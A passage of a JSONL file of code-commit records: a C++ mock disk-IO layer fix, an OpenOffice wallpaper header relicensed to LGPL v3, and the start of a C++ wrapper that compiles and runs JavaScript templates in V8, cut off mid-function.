{"text":"<commit_before>\n#ifndef __ARCH_MOCK_IO_HPP__\n#define __ARCH_MOCK_IO_HPP__\n\n#include \"containers\/segmented_vector.hpp\"\n#include \"utils2.hpp\"\n#include <stdlib.h>\n\nstruct mock_iocallback_t {\n    virtual void on_io_complete(event_t *event) = 0;\n    virtual ~mock_iocallback_t() {}\n};\n\ntemplate<class inner_io_config_t>\nclass mock_direct_file_t\n{\npublic:\n    enum mode_t {\n        mode_read = 1 << 0,\n        mode_write = 1 << 1,\n        mode_create = 1 << 2\n    };\n    \n    mock_direct_file_t(const char *path, int mode) {\n        int mode2 = 0;\n        if (mode & mode_read) mode2 |= inner_io_config_t::direct_file_t::mode_read;\n        if (mode & mode_write) mode2 |= inner_io_config_t::direct_file_t::mode_write;\n        if (mode & mode_create) mode2 |= inner_io_config_t::direct_file_t::mode_create;\n        inner_file = new typename inner_io_config_t::direct_file_t(path, mode2);\n        \n        if (inner_file->is_block_device()) {\n            fail_due_to_user_error(\n                \"Using mock_direct_file_t with a block device is a really bad idea because it \"\n                \"reads the entire contents of the underlying file into memory, which could be \"\n                \"a lot for a block device.\");\n        }\n        \n        set_size(inner_file->get_size());\n        for (unsigned i = 0; i < get_size() \/ DEVICE_BLOCK_SIZE; i++) {\n            inner_file->read_blocking(i*DEVICE_BLOCK_SIZE, DEVICE_BLOCK_SIZE, blocks[i].data);\n        }\n    }\n\n    bool exists() {\n        return inner_file->exists();\n    }\n    \n    bool is_block_device() {\n        return false;\n    }\n    \n    uint64_t get_size() {\n        return blocks.get_size() * DEVICE_BLOCK_SIZE;\n    }\n    \n    void set_size(size_t size) {\n        assert(size % DEVICE_BLOCK_SIZE == 0);\n        blocks.set_size(size \/ DEVICE_BLOCK_SIZE);\n    }\n    \n    void set_size_at_least(size_t size) {\n        if (get_size() < size) {\n            size_t actual_size = size + randint(10) * DEVICE_BLOCK_SIZE;\n            set_size(actual_size);\n        }\n    }\n    \n    \/* These always return 'false'; the reason they return bool instead of void\n    is for consistency with other asynchronous-callback methods *\/\n    bool read_async(size_t offset, size_t length, void *buf, mock_iocallback_t *cb) {\n        read_blocking(offset, length, buf);\n        random_delay(cb, &mock_iocallback_t::on_io_complete, (event_t*)NULL);\n        return false;\n    }\n    \n    bool write_async(size_t offset, size_t length, void *buf, mock_iocallback_t *cb) {\n        write_blocking(offset, length, buf);\n        random_delay(cb, &mock_iocallback_t::on_io_complete, (event_t*)NULL);\n        return false;\n    }\n    \n    void read_blocking(size_t offset, size_t length, void *buf) {\n        verify(offset, length, buf);\n        for (unsigned i = 0; i < length \/ DEVICE_BLOCK_SIZE; i += 1) {\n            memcpy((char*)buf + i*DEVICE_BLOCK_SIZE, blocks[offset\/DEVICE_BLOCK_SIZE + i].data, DEVICE_BLOCK_SIZE);\n        }\n    }\n    \n    void write_blocking(size_t offset, size_t length, void *buf) {\n        verify(offset, length, buf);\n        for (unsigned i = 0; i < length \/ DEVICE_BLOCK_SIZE; i += 1) {\n            memcpy(blocks[offset\/DEVICE_BLOCK_SIZE + i].data, (char*)buf + i*DEVICE_BLOCK_SIZE, DEVICE_BLOCK_SIZE);\n        }\n    }\n    \n    ~mock_direct_file_t() {\n        inner_file->set_size(get_size());\n        for (unsigned i = 0; i < get_size() \/ DEVICE_BLOCK_SIZE; i++) {\n            inner_file->write_blocking(i*DEVICE_BLOCK_SIZE, DEVICE_BLOCK_SIZE, blocks[i].data);\n        }\n        \n        delete inner_file;\n    }\n\nprivate:\n    typename inner_io_config_t::direct_file_t *inner_file;\n    \n    struct block_t {\n        char *data;\n        \n        block_t() {\n            data = (char*)malloc_aligned(DEVICE_BLOCK_SIZE, DEVICE_BLOCK_SIZE);\n            \n            \/\/ Initialize to either random data or zeroes, choosing at random\n            char d = randint(2) ? 0 : randint(0x100);\n            memset(data, d, DEVICE_BLOCK_SIZE);\n        }\n        \n        ~block_t() {\n            free((void*)data);\n        }\n    };\n    segmented_vector_t<block_t, 10*GIGABYTE\/DEVICE_BLOCK_SIZE> blocks;\n    \n    void verify(size_t offset, size_t length, void *buf) {\n        assert(buf);\n        assert(offset + length <= get_size());\n        assert((intptr_t)buf % DEVICE_BLOCK_SIZE == 0);\n        assert(offset % DEVICE_BLOCK_SIZE == 0);\n        assert(length % DEVICE_BLOCK_SIZE == 0);\n    }\n};\n\n#endif \/* __ARCH_MOCK_IO_HPP__ *\/\n<commit_msg>Fixing mock io layer to work properly with file permissions and truncation in all cases (db creation, loading existing file, force recreation, etc.)<commit_after>\n#ifndef __ARCH_MOCK_IO_HPP__\n#define __ARCH_MOCK_IO_HPP__\n\n#include \"containers\/segmented_vector.hpp\"\n#include \"utils2.hpp\"\n#include <stdlib.h>\n\nstruct mock_iocallback_t {\n    virtual void on_io_complete(event_t *event) = 0;\n    virtual ~mock_iocallback_t() {}\n};\n\ntemplate<class inner_io_config_t>\nclass mock_direct_file_t\n{\npublic:\n    enum mode_t {\n        mode_read = 1 << 0,\n        mode_write = 1 << 1,\n        mode_create = 1 << 2\n    };\n    \n    mock_direct_file_t(const char *path, int mode) {\n        int mode2 = 0;\n        if (mode & mode_read) mode2 |= inner_io_config_t::direct_file_t::mode_read;\n        \/\/ We always enable writing because the mock layer does\n        \/\/ truncation on exit\n        mode2 |= inner_io_config_t::direct_file_t::mode_write;\n        if (mode & mode_create) mode2 |= inner_io_config_t::direct_file_t::mode_create;\n        inner_file = new typename inner_io_config_t::direct_file_t(path, mode2);\n        \n        if (inner_file->is_block_device()) {\n            fail_due_to_user_error(\n                \"Using mock_direct_file_t with a block device is a really bad idea because it \"\n                \"reads the entire contents of the underlying file into memory, which could be \"\n                \"a lot for a block device.\");\n        }\n        \n        set_size(inner_file->get_size());\n        for (unsigned i = 0; i < get_size() \/ DEVICE_BLOCK_SIZE; i++) {\n            inner_file->read_blocking(i*DEVICE_BLOCK_SIZE, DEVICE_BLOCK_SIZE, blocks[i].data);\n        }\n    }\n\n    bool exists() {\n        return inner_file->exists();\n    }\n    \n    bool is_block_device() {\n        return false;\n    }\n    \n    uint64_t get_size() {\n        return blocks.get_size() * DEVICE_BLOCK_SIZE;\n    }\n    \n    void set_size(size_t size) {\n        assert(size % DEVICE_BLOCK_SIZE == 0);\n        blocks.set_size(size \/ DEVICE_BLOCK_SIZE);\n    }\n    \n    void set_size_at_least(size_t size) {\n        if (get_size() < size) {\n            size_t actual_size = size + randint(10) * DEVICE_BLOCK_SIZE;\n            set_size(actual_size);\n        }\n    }\n    \n    \/* These always return 'false'; the reason they return bool instead of void\n    is for consistency with other asynchronous-callback methods *\/\n    bool read_async(size_t offset, size_t length, void *buf, mock_iocallback_t *cb) {\n        read_blocking(offset, length, buf);\n        random_delay(cb, &mock_iocallback_t::on_io_complete, (event_t*)NULL);\n        return false;\n    }\n    \n    bool write_async(size_t offset, size_t length, void *buf, mock_iocallback_t *cb) {\n        write_blocking(offset, length, buf);\n        random_delay(cb, &mock_iocallback_t::on_io_complete, (event_t*)NULL);\n        return false;\n    }\n    \n    void read_blocking(size_t offset, size_t length, void *buf) {\n        verify(offset, length, buf);\n        for (unsigned i = 0; i < length \/ DEVICE_BLOCK_SIZE; i += 1) {\n            memcpy((char*)buf + i*DEVICE_BLOCK_SIZE, blocks[offset\/DEVICE_BLOCK_SIZE + i].data, DEVICE_BLOCK_SIZE);\n        }\n    }\n    \n    void write_blocking(size_t offset, size_t length, void *buf) {\n        verify(offset, length, buf);\n        for (unsigned i = 0; i < length \/ DEVICE_BLOCK_SIZE; i += 1) {\n            memcpy(blocks[offset\/DEVICE_BLOCK_SIZE + i].data, (char*)buf + i*DEVICE_BLOCK_SIZE, DEVICE_BLOCK_SIZE);\n        }\n    }\n    \n    ~mock_direct_file_t() {\n        if(exists()) {\n            inner_file->set_size(get_size());\n        }\n        for (unsigned i = 0; i < get_size() \/ DEVICE_BLOCK_SIZE; i++) {\n            inner_file->write_blocking(i*DEVICE_BLOCK_SIZE, DEVICE_BLOCK_SIZE, blocks[i].data);\n        }\n        \n        delete inner_file;\n    }\n\nprivate:\n    typename inner_io_config_t::direct_file_t *inner_file;\n    \n    struct block_t {\n        char *data;\n        \n        block_t() {\n            data = (char*)malloc_aligned(DEVICE_BLOCK_SIZE, DEVICE_BLOCK_SIZE);\n            \n            \/\/ Initialize to either random data or zeroes, choosing at random\n            char d = randint(2) ? 0 : randint(0x100);\n            memset(data, d, DEVICE_BLOCK_SIZE);\n        }\n        \n        ~block_t() {\n            free((void*)data);\n        }\n    };\n    segmented_vector_t<block_t, 10*GIGABYTE\/DEVICE_BLOCK_SIZE> blocks;\n    \n    void verify(size_t offset, size_t length, void *buf) {\n        assert(buf);\n        assert(offset + length <= get_size());\n        assert((intptr_t)buf % DEVICE_BLOCK_SIZE == 0);\n        assert(offset % DEVICE_BLOCK_SIZE == 0);\n        assert(length % DEVICE_BLOCK_SIZE == 0);\n    }\n};\n\n#endif \/* __ARCH_MOCK_IO_HPP__ *\/\n<|endoftext|>"}
{"text":"<commit_before>\/*************************************************************************\n *\n *  OpenOffice.org - a multi-platform office productivity suite\n *\n *  $RCSfile: wall.hxx,v $\n *\n *  $Revision: 1.2 $\n *\n *  last change: $Author: vg $ $Date: 2007-04-11 18:16:43 $\n *\n *  The Contents of this file are made available subject to\n *  the terms of GNU Lesser General Public License Version 2.1.\n *\n *\n *    GNU Lesser General Public License Version 2.1\n *    =============================================\n *    Copyright 2005 by Sun Microsystems, Inc.\n *    901 San Antonio Road, Palo Alto, CA 94303, USA\n *\n *    This library is free software; you can redistribute it and\/or\n *    modify it under the terms of the GNU Lesser General Public\n *    License version 2.1, as published by the Free Software Foundation.\n *\n *    This library is distributed in the hope that it will be useful,\n *    but WITHOUT ANY WARRANTY; without even the implied warranty of\n *    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n *    Lesser General Public License for more details.\n *\n *    You should have received a copy of the GNU Lesser General Public\n *    License along with this library; if not, write to the Free Software\n *    Foundation, Inc., 59 Temple Place, Suite 330, Boston,\n *    MA  02111-1307  USA\n *\n ************************************************************************\/\n\n#ifndef _SV_WALL_HXX\n#define _SV_WALL_HXX\n\n#ifndef _SV_SV_H\n#include <vcl\/sv.h>\n#endif\n#ifndef _VCL_DLLAPI_H\n#include <vcl\/dllapi.h>\n#endif\n\n#ifndef _TOOLS_COLOR_HXX\n#include <tools\/color.hxx>\n#endif\n\nclass Rectangle;\nclass Gradient;\nclass BitmapEx;\nclass ImplWallpaper;\n\n\/\/ -------------------\n\/\/ - Wallpaper-Types -\n\/\/ -------------------\n\n#define WALLPAPER_NULL                  WallpaperStyle_NULL\n#define WALLPAPER_TILE                  WallpaperStyle_TILE\n#define WALLPAPER_CENTER                WallpaperStyle_CENTER\n#define WALLPAPER_SCALE                 WallpaperStyle_SCALE\n#define WALLPAPER_TOPLEFT               WallpaperStyle_TOPLEFT\n#define WALLPAPER_TOP                   WallpaperStyle_TOP\n#define WALLPAPER_TOPRIGHT              WallpaperStyle_TOPRIGHT\n#define WALLPAPER_LEFT                  WallpaperStyle_LEFT\n#define WALLPAPER_RIGHT                 WallpaperStyle_RIGHT\n#define WALLPAPER_BOTTOMLEFT            WallpaperStyle_BOTTOMLEFT\n#define WALLPAPER_BOTTOM                WallpaperStyle_BOTTOM\n#define WALLPAPER_BOTTOMRIGHT           WallpaperStyle_BOTTOMRIGHT\n#define WALLPAPER_APPLICATIONGRADIENT   WallpaperStyle_APPLICATIONGRADIENT\n#define WALLPAPER_FORCE_EQUAL_SIZE      WallpaperStyle_FORCE_EQUAL_SIZE\n\n#ifndef ENUM_WALLPAPERSTYLE_DECLARED\n#define ENUM_WALLPAPERSTYLE_DECLARED\n\nenum WallpaperStyle\n{\n    WALLPAPER_NULL,\n    WALLPAPER_TILE,\n    WALLPAPER_CENTER,\n    WALLPAPER_SCALE,\n    WALLPAPER_TOPLEFT,\n    WALLPAPER_TOP,\n    WALLPAPER_TOPRIGHT,\n    WALLPAPER_LEFT,\n    WALLPAPER_RIGHT,\n    WALLPAPER_BOTTOMLEFT,\n    WALLPAPER_BOTTOM,\n    WALLPAPER_BOTTOMRIGHT,\n    WALLPAPER_APPLICATIONGRADIENT,          \/\/ defines a gradient that internally covers the whole application\n                                            \/\/ and uses a color derived from the face color\n    WALLPAPER_FORCE_EQUAL_SIZE = 0x7fffffff\n};\n\n#endif\n\n\/\/ -------------\n\/\/ - Wallpaper -\n\/\/ -------------\n\nclass VCL_DLLPUBLIC Wallpaper\n{\nprivate:\n    ImplWallpaper*  mpImplWallpaper;\n\n    SAL_DLLPRIVATE void           ImplMakeUnique( BOOL bReleaseCache = TRUE );\n    SAL_DLLPRIVATE Gradient       ImplGetApplicationGradient() const;\n\n\/\/#if 0 \/\/ _SOLAR__PRIVATE\npublic:\n    SAL_DLLPRIVATE ImplWallpaper* ImplGetImpWallpaper() const { return mpImplWallpaper; }\n\/\/#endif\n\npublic:\n                    Wallpaper();\n                    Wallpaper( const Wallpaper& rWallpaper );\n                    Wallpaper( const Color& rColor );\n                    Wallpaper( const BitmapEx& rBmpEx );\n                    Wallpaper( const Gradient& rGradient );\n                    ~Wallpaper();\n\n    void            SetColor( const Color& rColor );\n    const Color&    GetColor() const;\n\n    void            SetStyle( WallpaperStyle eStyle );\n    WallpaperStyle  GetStyle() const;\n\n    void            SetBitmap( const BitmapEx& rBitmap );\n    void            SetBitmap();\n    BitmapEx        GetBitmap() const;\n    BOOL            IsBitmap() const;\n\n    void            SetGradient( const Gradient& rGradient );\n    void            SetGradient();\n    Gradient        GetGradient() const;\n    BOOL            IsGradient() const;\n\n    void            SetRect( const Rectangle& rRect );\n    void            SetRect();\n    Rectangle       GetRect() const;\n    BOOL            IsRect() const;\n\n    BOOL            IsFixed() const;\n    BOOL            IsScrollable() const;\n\n    Wallpaper&      operator=( const Wallpaper& rWallpaper );\n    BOOL            operator==( const Wallpaper& rWallpaper ) const;\n    BOOL            operator!=( const Wallpaper& rWallpaper ) const\n                        { return !(Wallpaper::operator==( rWallpaper )); }\n    BOOL            IsSameInstance( const Wallpaper& rWallpaper ) const\n                        { return (mpImplWallpaper == rWallpaper.mpImplWallpaper); }\n\n    friend VCL_DLLPUBLIC SvStream& operator>>( SvStream& rIStm, Wallpaper& rWallpaper );\n    friend VCL_DLLPUBLIC SvStream& operator<<( SvStream& rOStm, const Wallpaper& rWallpaper );\n};\n\n#endif  \/\/ _SV_WALL_HXX\n<commit_msg>INTEGRATION: CWS changefileheader (1.2.320); FILE MERGED 2008\/04\/01 16:05:23 thb 1.2.320.3: #i85898# Stripping all external header guards 2008\/04\/01 13:01:19 thb 1.2.320.2: #i85898# Stripping all external header guards 2008\/03\/28 15:44:19 rt 1.2.320.1: #i87441# Change license header to LPGL v3.<commit_after>\/*************************************************************************\n *\n * DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.\n *\n * Copyright 2008 by Sun Microsystems, Inc.\n *\n * OpenOffice.org - a multi-platform office productivity suite\n *\n * $RCSfile: wall.hxx,v $\n * $Revision: 1.3 $\n *\n * This file is part of OpenOffice.org.\n *\n * OpenOffice.org is free software: you can redistribute it and\/or modify\n * it under the terms of the GNU Lesser General Public License version 3\n * only, as published by the Free Software Foundation.\n *\n * OpenOffice.org is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU Lesser General Public License version 3 for more details\n * (a copy is included in the LICENSE file that accompanied this code).\n *\n * You should have received a copy of the GNU Lesser General Public License\n * version 3 along with OpenOffice.org.  If not, see\n * <http:\/\/www.openoffice.org\/license.html>\n * for a copy of the LGPLv3 License.\n *\n ************************************************************************\/\n\n#ifndef _SV_WALL_HXX\n#define _SV_WALL_HXX\n\n#include <vcl\/sv.h>\n#include <vcl\/dllapi.h>\n#include <tools\/color.hxx>\n\nclass Rectangle;\nclass Gradient;\nclass BitmapEx;\nclass ImplWallpaper;\n\n\/\/ -------------------\n\/\/ - Wallpaper-Types -\n\/\/ -------------------\n\n#define WALLPAPER_NULL                  WallpaperStyle_NULL\n#define WALLPAPER_TILE                  WallpaperStyle_TILE\n#define WALLPAPER_CENTER                WallpaperStyle_CENTER\n#define WALLPAPER_SCALE                 WallpaperStyle_SCALE\n#define WALLPAPER_TOPLEFT               WallpaperStyle_TOPLEFT\n#define WALLPAPER_TOP                   WallpaperStyle_TOP\n#define WALLPAPER_TOPRIGHT              WallpaperStyle_TOPRIGHT\n#define WALLPAPER_LEFT                  WallpaperStyle_LEFT\n#define WALLPAPER_RIGHT                 WallpaperStyle_RIGHT\n#define WALLPAPER_BOTTOMLEFT            WallpaperStyle_BOTTOMLEFT\n#define WALLPAPER_BOTTOM                WallpaperStyle_BOTTOM\n#define WALLPAPER_BOTTOMRIGHT           WallpaperStyle_BOTTOMRIGHT\n#define WALLPAPER_APPLICATIONGRADIENT   WallpaperStyle_APPLICATIONGRADIENT\n#define WALLPAPER_FORCE_EQUAL_SIZE      WallpaperStyle_FORCE_EQUAL_SIZE\n\n#ifndef ENUM_WALLPAPERSTYLE_DECLARED\n#define ENUM_WALLPAPERSTYLE_DECLARED\n\nenum WallpaperStyle\n{\n    WALLPAPER_NULL,\n    WALLPAPER_TILE,\n    WALLPAPER_CENTER,\n    WALLPAPER_SCALE,\n    WALLPAPER_TOPLEFT,\n    WALLPAPER_TOP,\n    WALLPAPER_TOPRIGHT,\n    WALLPAPER_LEFT,\n    WALLPAPER_RIGHT,\n    WALLPAPER_BOTTOMLEFT,\n    WALLPAPER_BOTTOM,\n    WALLPAPER_BOTTOMRIGHT,\n    WALLPAPER_APPLICATIONGRADIENT,          \/\/ defines a gradient that internally covers the whole application\n                                            \/\/ and uses a color derived from the face color\n    WALLPAPER_FORCE_EQUAL_SIZE = 0x7fffffff\n};\n\n#endif\n\n\/\/ -------------\n\/\/ - Wallpaper -\n\/\/ -------------\n\nclass VCL_DLLPUBLIC Wallpaper\n{\nprivate:\n    ImplWallpaper*  mpImplWallpaper;\n\n    SAL_DLLPRIVATE void           ImplMakeUnique( BOOL bReleaseCache = TRUE );\n    SAL_DLLPRIVATE Gradient       ImplGetApplicationGradient() const;\n\n\/\/#if 0 \/\/ _SOLAR__PRIVATE\npublic:\n    SAL_DLLPRIVATE ImplWallpaper* ImplGetImpWallpaper() const { return mpImplWallpaper; }\n\/\/#endif\n\npublic:\n                    Wallpaper();\n                    Wallpaper( const Wallpaper& rWallpaper );\n                    Wallpaper( const Color& rColor );\n                    Wallpaper( const BitmapEx& rBmpEx );\n                    Wallpaper( const Gradient& rGradient );\n                    ~Wallpaper();\n\n    void            SetColor( const Color& rColor );\n    const Color&    GetColor() const;\n\n    void            SetStyle( WallpaperStyle eStyle );\n    WallpaperStyle  GetStyle() const;\n\n    void            SetBitmap( const BitmapEx& rBitmap );\n    void            SetBitmap();\n    BitmapEx        GetBitmap() const;\n    BOOL            IsBitmap() const;\n\n    void            SetGradient( const Gradient& rGradient );\n    void            SetGradient();\n    Gradient        GetGradient() const;\n    BOOL            IsGradient() const;\n\n    void            SetRect( const Rectangle& rRect );\n    void            SetRect();\n    Rectangle       GetRect() const;\n    BOOL            IsRect() const;\n\n    BOOL            IsFixed() const;\n    BOOL            IsScrollable() const;\n\n    Wallpaper&      operator=( const Wallpaper& rWallpaper );\n    BOOL            operator==( const Wallpaper& rWallpaper ) const;\n    BOOL            operator!=( const Wallpaper& rWallpaper ) const\n                        { return !(Wallpaper::operator==( rWallpaper )); }\n    BOOL            IsSameInstance( const Wallpaper& rWallpaper ) const\n                        { return (mpImplWallpaper == rWallpaper.mpImplWallpaper); }\n\n    friend VCL_DLLPUBLIC SvStream& operator>>( SvStream& rIStm, Wallpaper& rWallpaper );\n    friend VCL_DLLPUBLIC SvStream& operator<<( SvStream& rOStm, const Wallpaper& rWallpaper );\n};\n\n#endif  \/\/ _SV_WALL_HXX\n<|endoftext|>"}
{"text":"<commit_before>#include \"v8monoctx.h\"\n\nstatic v8::Isolate* isolate;\nstatic v8::Persistent<v8::Context> context;\nstatic std::map<std::string, time_t> ScriptModified;\nstatic std::map<std::string, PERSISTENT_COPYABLE> ScriptCached;\n\nstatic std::string GlobalData;\nstatic std::vector<std::string> GlobalError;\n\n\/\/ Profiler functions\nvoid StartProfile(struct timeval *t1) {\n   \tgettimeofday(t1, NULL);\n}\n\ndouble StopProfile(struct timeval *t1) {\n\tstruct timeval t2;\n  \tgettimeofday(&t2, NULL);\n  \treturn (((t2.tv_sec - t1->tv_sec) * 1000000) + (t2.tv_usec - t1->tv_usec)) \/ 1000000.0;\n}\n\n\/\/ Just convert to string\nconst char* ToCString(const v8::String::Utf8Value& value) {\n\treturn *value ? *value : \"<string conversion failed>\";\n}\n\n\/\/ Reads a file into a string.\nstd::string ReadFile(std::string name) {\n\tFILE* file = fopen(name.c_str(), \"rb\");\n\tif (file == NULL) return std::string();\n\n\tfseek(file, 0, SEEK_END);\n\tint size = ftell(file);\n\trewind(file);\n\n\tchar* chars = new char[size + 1];\n\tchars[size] = '\\0';\n\tfor (int i = 0; i < size;) {\n\t\tint read = static_cast<int>(fread(&chars[i], 1, size - i, file));\n\t\ti += read;\n\t}\n\tfclose(file);\n\n\tstd::string result(chars);\n\tdelete[] chars;\n\treturn result;\n}\n\nvoid ReportException(v8::TryCatch* try_catch) {\n\tv8::HandleScope handle_scope(isolate);\n\tv8::String::Utf8Value exception(try_catch->Exception());\n\n\tstd::string exception_string( ToCString(exception) );\n\tv8::Handle<v8::Message> message = try_catch->Message();\n\n\tif (message.IsEmpty()) {\n\t\t\/\/ V8 didn't provide any extra information about this error; just\n\t\t\/\/ print the exception.\n\n\t\tGlobalError.push_back(exception_string);\n\t} else {\n\t\t\/\/ Print (filename):(line number): (message)\\n(sourceline)\n\t\tv8::String::Utf8Value filename(message->GetScriptResourceName());\n\t\tv8::String::Utf8Value sourceline(message->GetSourceLine());\n\n\t\tstd::string _err( ToCString(filename) );\n\t\tstd::string _source( ToCString(sourceline) );\n\n\t\tstd::ostringstream linenum;\n\t\tlinenum << message->GetLineNumber();\n\n\t\t_err += \":\";\n\t\t_err += linenum.str();\n\t\t_err += \": \";\n\t\t_err += exception_string;\n\t\t_err += \"\\n\";\n\t\t_err += _source;\n\n\t\tGlobalError.push_back(_err);\n\n\/*\n\t\t\/\/ Print wavy underline (GetUnderline is deprecated).\n\t\tint start = message->GetStartColumn();\n\t\tfor (int i = 0; i < start; i++) {\n\t\t\tfprintf(stderr, \" \");\n\t\t}\n\t\tint end = message->GetEndColumn();\n\t\tfor (int i = start; i < end; i++) {\n\t\t\tfprintf(stderr, \"^\");\n\t\t}\n\t\tfprintf(stderr, \"\\n\");\n\t\tv8::String::Utf8Value stack_trace(try_catch->StackTrace());\n\t\tif (stack_trace.length() > 0) {\n\t\t\tconst char* stack_trace_string = ToCString(stack_trace);\n\t\t\tfprintf(stderr, \"%s\\n\", stack_trace_string);\n\t\t}\n*\/\n\t}\n}\n\n\/\/ Global function\nvoid DataFetch(const v8::FunctionCallbackInfo<v8::Value>& args) {\n\t\/\/ We will be creating temporary handles so we use a handle scope.\n\tv8::HandleScope handle_scope(args.GetIsolate());\n\n\targs.GetReturnValue().Set(\n\t\tv8::String::NewFromUtf8(args.GetIsolate(), GlobalData.c_str())\n\t);\n}\n\n\/\/ Global function\nvoid ConsoleError(const v8::FunctionCallbackInfo<v8::Value>& args) {\n\tfor (int i = 0; i < args.Length(); i++) {\n\t\tv8::HandleScope handle_scope(args.GetIsolate());\n\t\tv8::String::Utf8Value str(args[i]);\n\n\t\tstd::string _err( ToCString(str) );\n\t\tGlobalError.push_back(_err);\n\t}\n}\n\nstd::vector<std::string> GetErrors (void) {\n\treturn GlobalError;\n}\n\nbool LoadFile(monocfg * cfg, std::string fname) {\n\tGlobalError.clear();\n\n\tcfg->run_idle_notification_loop_time = 0;\n\tcfg->run_low_memory_notification_time = 0;\n\tcfg->exec_time = 0;\n\tcfg->compile_time = 0;\n\n\tif (isolate == NULL) {\n\t\t\/\/ Get the default Isolate created at startup\n\t\tisolate = v8::Isolate::GetCurrent();\n\n\t\t\/\/ Create a stack-allocated handle scope\n\t\tv8::HandleScope handle_scope(isolate);\n\n\t\tif (strlen(cfg->cmd_args) > 0) {\n\t\t\tv8::V8::SetFlagsFromString(cfg->cmd_args, strlen(cfg->cmd_args));\n\t\t}\n\n\t\t\/\/ Global objects\n\t\tv8::Handle<v8::ObjectTemplate> global = v8::ObjectTemplate::New(isolate);\n\t\tglobal->Set(v8::String::NewFromUtf8(isolate, \"__dataFetch\"), v8::FunctionTemplate::New(isolate, DataFetch));\n\t\tglobal->Set(v8::String::NewFromUtf8(isolate, \"__errorLog\"), v8::FunctionTemplate::New(isolate, ConsoleError));\n\n\t\t\/\/ Create a new context\n\t\tv8::Handle<v8::Context> ctx = v8::Context::New(isolate, NULL, global);\n\t\tcontext.Reset(isolate, ctx);\n\n\t\tif (context.IsEmpty()) {\n\t\t\tstd::string _err(\"Error creating context\");\n\t\t\tGlobalError.push_back(_err);\n\n\t\t\treturn false;\n\t\t}\n\t\tctx->Enter();\n\t}\n\n\tv8::HandleScope handle_scope(isolate);\n\tv8::TryCatch try_catch;\n\n\tstd::string key = fname;\n\n\t\/\/ Get file stat\n\tstruct stat stat_buf;\n\tif (cfg->watch_templates) {\n\t\tint rc = stat(fname.c_str(), &stat_buf);\n\t\tif (rc != 0) {\n\t\t\tstd::string _err(\"Error opening file \");\n\t\t\t_err += fname;\n\t\t\t_err += \": \";\n\t\t\t_err += strerror(errno);\n\n\t\t\tGlobalError.push_back(_err);\n\n\t\t\treturn false;\n\t\t}\n\t}\n\n\tv8::Local<v8::Script> script;\n\tif (ScriptCached.find(key) == ScriptCached.end() || (cfg->watch_templates && ScriptModified[key] != stat_buf.st_mtime)) {\n\/*\n\t\tif (ScriptCached.find(key) == ScriptCached.end()) {\n\t\t\tfprintf(stderr, \"New file: %s\\n\", fname.c_str());\n\t\t}\n\t\telse {\n\t\t\tfprintf(stderr, \"File modified: %s\\n\", fname.c_str());\n\t\t}\n*\/\n\t\t\/\/ Read new file\n\t\tstd::string file = ReadFile(fname);\n\t\tif (file.size() == 0) {\n\t\t\tstd::string _err(\"File not exists or empty: \");\n\t\t\t_err += fname;\n\n\t\t\tGlobalError.push_back(_err);\n\t\t\treturn false;\n\t\t}\n\n\t\tstd::string file_append = file;\n\t\tv8::Handle<v8::String> source = v8::String::NewFromUtf8(isolate, file_append.c_str());\n\t\tv8::Handle<v8::String> ffn = v8::String::NewFromUtf8(isolate, fname.c_str());\n\n\t\t\/\/ Origin\n\t\tv8::Handle<v8::Integer> line = v8::Integer::New(isolate, 0);\n\t\tv8::Handle<v8::Integer> column = v8::Integer::New(isolate, 0);\n\t\tv8::ScriptOrigin origin(ffn, line, column);\n\n\t\tstruct timeval t1; StartProfile(&t1);\n\t\t\tscript = v8::Script::Compile(source, &origin);\n\t\tcfg->compile_time += StopProfile(&t1);\n\n\t\tif (script.IsEmpty()) {\n\t\t\tReportException(&try_catch);\n\t\t\treturn false;\n\t\t}\n\n\t\tPERSISTENT_COPYABLE pscript;\n\n\t\tScriptCached.insert( std::pair<std::string, PERSISTENT_COPYABLE>(key, pscript) );\n\t\tScriptCached[key].Reset(isolate, script);\n\t\tScriptModified[key] = stat_buf.st_mtime;\n\t}\n\telse {\n\t\tscript = v8::Local<v8::Script>::New(isolate, ScriptCached[key]);\n\t}\n\n\tv8::Handle<v8::Value> result;\n\tstruct timeval t1; StartProfile(&t1);\n\t\tresult = script->Run();\n\tcfg->exec_time += StopProfile(&t1);\n\n\tif (result.IsEmpty()) {\n\t\tassert(try_catch.HasCaught());\n\t\tReportException(&try_catch);\n\t\treturn false;\n\t}\n\n\t\/\/ No errors\n\tassert(!try_catch.HasCaught());\n\treturn true;\n}\n\nbool ExecuteFile(monocfg * cfg, std::string fname, std::string append, std::string* json, std::string* out) {\n\tGlobalError.clear();\n\n\t++cfg->request_num;\n\n\tcfg->run_idle_notification_loop_time = 0;\n\tcfg->run_low_memory_notification_time = 0;\n\tcfg->exec_time = 0;\n\tcfg->compile_time = 0;\n\n\tif (isolate == NULL) {\n\t\t\/\/ Get the default Isolate created at startup\n\t\tisolate = v8::Isolate::GetCurrent();\n\n\t\t\/\/ Create a stack-allocated handle scope\n\t\tv8::HandleScope handle_scope(isolate);\n\n\t\tif (strlen(cfg->cmd_args) > 0) {\n\t\t\tv8::V8::SetFlagsFromString(cfg->cmd_args, strlen(cfg->cmd_args));\n\t\t}\n\n\t\t\/\/ Global objects\n\t\tv8::Handle<v8::ObjectTemplate> global = v8::ObjectTemplate::New(isolate);\n\t\tglobal->Set(v8::String::NewFromUtf8(isolate, \"__dataFetch\"), v8::FunctionTemplate::New(isolate, DataFetch));\n\t\tglobal->Set(v8::String::NewFromUtf8(isolate, \"__errorLog\"), v8::FunctionTemplate::New(isolate, ConsoleError));\n\n\t\t\/\/ Create a new context\n\t\tv8::Handle<v8::Context> ctx = v8::Context::New(isolate, NULL, global);\n\t\tcontext.Reset(isolate, ctx);\n\n\t\tif (context.IsEmpty()) {\n\t\t\tstd::string _err(\"Error creating context\");\n\t\t\tGlobalError.push_back(_err);\n\n\t\t\treturn false;\n\t\t}\n\t\tctx->Enter();\n\t}\n\n\tv8::HandleScope handle_scope(isolate);\n\tv8::TryCatch try_catch;\n\n\tif (json != NULL) {\n\t\tGlobalData.assign(*json);\n\t}\n\n\tstd::string key = fname + ' ' + append;\n\n\t\/\/ Get file stat\n\tstruct stat stat_buf;\n\tif (cfg->watch_templates) {\n\t\tint rc = stat(fname.c_str(), &stat_buf);\n\t\tif (rc != 0) 